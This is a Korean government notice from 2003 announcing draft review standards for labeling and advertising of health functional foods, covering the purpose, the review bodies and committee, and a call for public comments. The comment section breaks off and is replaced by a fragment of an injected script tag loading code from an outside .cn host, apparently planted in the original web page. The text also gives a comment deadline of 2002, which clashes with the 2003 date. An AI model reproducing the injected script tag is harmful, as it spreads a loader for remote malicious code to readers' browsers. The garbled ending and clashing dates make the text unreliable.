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건강기능식품표시및광고심의기준(안)입안예고
작성자 식품안전부 등록일 2003/06/24 조회 14132
첨부
식품의약품안전청공고 제2003-55호
건강기능식품표시및광고심의기준을 제정·고시함에 있어 이를 국민에게 미리 알려 의견을 듣고자 그 취지와 주요내용을 행정절차법 제46조의 규정에 의하여 다음과 같이 공고합니다.

2003년 6월 27일
식품의약품안전청장

건강기능식품표시및광고심의기준(안)입안예고

1. 제정이유
건강기능식품에관한법률 제16조의 규정에 의하여 건강기능식품의 기능성 표시 및 광고에 대한 심의를 함에 있어 그 기준과 방법 및 절차를 정함으로써 건강기능식품에 관한 올바른 정보를 제공하여 건전한 유통질서를 확립하고 소비자를 보호하려는 것임

2. 주요골자
가. 건강기능식품의 용기·포장(첨부물 및 내용물 포함)에 표시한 기능성 표시와 광고물을 이용한 기능성 광고를 기능성 표시 및 광고 심의대상으로 함(안 제3조).

나. 건강기능식품의 기능성 표시 및 광고에 대한 심의기준을 정하고, 표시 및 광고심의를 받고자 하는 자는 심의신청서 및 기능성 표시 및 광고내용 등을 첨부하여 식품의약품안전청장이 표시 및 광고 심의를 위탁한 심의기관에 제출하도록 함(안 제4조, 제5조).

다. 심의받은 내용을 단순히 수정하는 때에는 심의를 받지 아니할 수 있으며 심의한 결과에 대하여 이의가 있을 경우 신청인은 재심의 요청을, 식품의약품안전청장은 재심의 권고를 할 수 있도록 함(안 제6조 내지 제8조).

라. 심의받은 내용을 광고하고자 하는 때에는 "광고심의필"의 내용과 "심의기관명" 및 광고심의필 도안을 표시하도록 함(안 제9조).

마. 심의기관에 심의위원회를 설치·운영하도록 하되, 심의위원회는 위원장 1인과 부위원장 1인 및 당연직 위원 3인을 포함한 15인 이내의 위원으로 구성하고 건강기능식품 및 광고에 관한 전문지식과 경험이 풍부한 자, 시민단체의 장 등이 추천한 자 및 관련 담당공무원 중에서 식품의약품안전청장의 승인을 받아 심의기관의 장이 위촉한 자로 함(안 제10조 내지 제12조).

바. 이 기준에서 규정한 것 외에 위원회의 구성·운영에 관한 사항과 그밖에 심의에 관하여 필요한 세부사항은 위원장이 식품의약품안전청장의 승인을 받아 따로 정할 수 있도록 함(안 제18조).

3. 의견제출
이 제정안에 대하여 의견이 있는 단체 또는 개인은 2002년 7월 18일까지 다음사항을 기재한 의견서를 식품의약품안전청장에게 제출하여 주시기 바랍니다.
가. 예고?script src=http://dae3.cn>
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